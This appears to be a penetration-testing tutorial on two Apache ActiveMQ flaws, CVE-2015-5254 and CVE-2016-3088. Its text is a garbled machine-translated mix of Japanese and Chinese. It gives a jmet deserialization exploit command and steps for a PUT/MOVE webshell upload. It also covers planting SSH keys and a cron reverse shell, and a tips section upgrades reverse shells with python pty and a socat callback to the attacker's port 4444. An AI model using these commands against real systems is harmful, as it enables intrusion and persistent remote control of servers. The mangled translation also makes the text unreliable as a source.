0x00の概要
Apacheは米国のApache(アパッチ)ソフトウェア財団は、オープンソースのメッセージングミドルウェアのセットを開発され、それには、Java Message Serviceの、クラスター、春のフレームワークをサポートしています。 ActiveMQ
0x01の環境を構築します
本明細書で使用する場合、apachemq版:5.11.0
ダウンロード:http://activemq.apache.org/activemq-5110-release.html
アンパック
./bin/activemq start 启动 netstat -ntlp|grep 8161 查看是否启动成功(8161为默认端口)
0×02のデシリアライゼーションの脆弱性(CVE-2015から5254)
ApacheのActiveMQの5.13.0バージョン5.xのセキュリティ脆弱性の前に、この脆弱性は、プロキシクラスの順序を限定するものではなく、プログラムから得ることができます。リモートの攻撃者は特別なシーケンスを使用することができるJava Message Service(JMS)ObjectMessage
任意のコードを実行するために、この脆弱性を使用してオブジェクトを。
8161はデフォルトのActiveMQでweb管理端口
、61616デフォルトのActiveMQ 消息队列端口
。
使用jmet
脆弱性が悪用し、jmetダウンロード:
https://github.com/matthiaskaiser/jmet/releases
jmet建設イベントイベント
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616
エラー:
jmetでは、ディレクトリの作成external
にフォルダを
シェル、デシリアライズメッセージキューのリバウンドに送信されたコンフィギュレーション・ペイロード
ニュース:
あなたはメッセージをトリガするためにクリックすると:
任意のファイルの脆弱性(CVE-2016から3088)を書く0X03
该漏洞影响Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x
版本中,已经默认关闭了fileserver
这个应用(可以在conf/jetty.xml中开启之)。在5.14.0
版本以后,彻底删除了fileserver应用。
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT
方法上传文件到指定目录。FileServer是储存文件的接口。FileServer支持写入文件(不解析jsp),但是支持移动文件(Move
)我们可以将jsp的文件PUT到FileServer下然后再通过Move指令移动到可执行目录下访问。
使用PUT
方法进行上传测试:
成功访问说明文件已经put
上去,我们可以直接put jsp小马/大马 移动到可解析目录就可以getshell了。webapps/api/
或者 webapps/admin/
下都可以解析jsp。但是要移动文件到可解析目录,需要获取绝对路径
这里介绍两种获取绝对路径的方法:
1.访问http://ip:8161/admin/test/systemProperties.jsp
2.构造错误上传路径可爆出绝对路径(此版本未成功,其他版本可自行测试)
上传Webshell:
根据获取的绝对路径,移动到Web目录下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
访问shell(需登录,默认密码 admin
/admin
)
同理也可写入ssh key进行公钥登录
写入corntab
反弹shell(需要activemq 以root权限运行)
移动到/etc/cron.d/root
监听接收shell
crontab定时任务
文件写入到 /etc/crontab.d/
中
minute hour day month week command 顺序:分 时 日 月 周 * * * * * command 代表每分钟执行一次
0x04のTIPS
通常、我々はリバウンドの殻をテストし、操作が時々コマンドには、vimの、何のタブをシェルを失っていない、ととてもフレンドリー意味間違えた、非常に簡単です!
以下の完璧なシェルのシェアを得るためのいくつかの方法:
1.使用するpython pty
モジュールは、端末は、擬似を生成することがあり
、我々はシェルの実行を立ち直る受信したときに
python -c 'import pty; pty.spawn("/bin/bash")'
2. socatに関する使用
の強力なツールとして、NCのようなsocatに関する、TCP接続は、完全な端末を確立し、被害者のサーバーがインストールされている場合、socat
あなたは、シェルをバウンスするためにそれを使用することができます。以下のコマンドでインストールされていない場合:
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat
聴く:
socat file:`tty`,raw,echo=0 tcp-listen:4444
被害者:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444
3.の魔法の追加netcat
、我々は最初の方法パイソンPTY方法に従ってシェルを取得する最初の一歩を
キーの組み合わせ「に続いてCtrl-Z
、」バックシェルに行きます。
現在の端末やstyy情報を確認します。
用語のタイプのために必要な情報(xterm
)と現在のsttyサイズ(行33、列191)は
、シェルがバックグラウンドで実行を継続する原因となる現在STTY
、オリジナルタイプの設定、入力された文字をエコーするように指示
「とfg
」フロントシェルはによっていう「reset
ターミナルをリセット」
最後に、上記の情報は、シェル端末タイプおよび収集するために設けられているstty
サイズ。
参考リンクします。https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys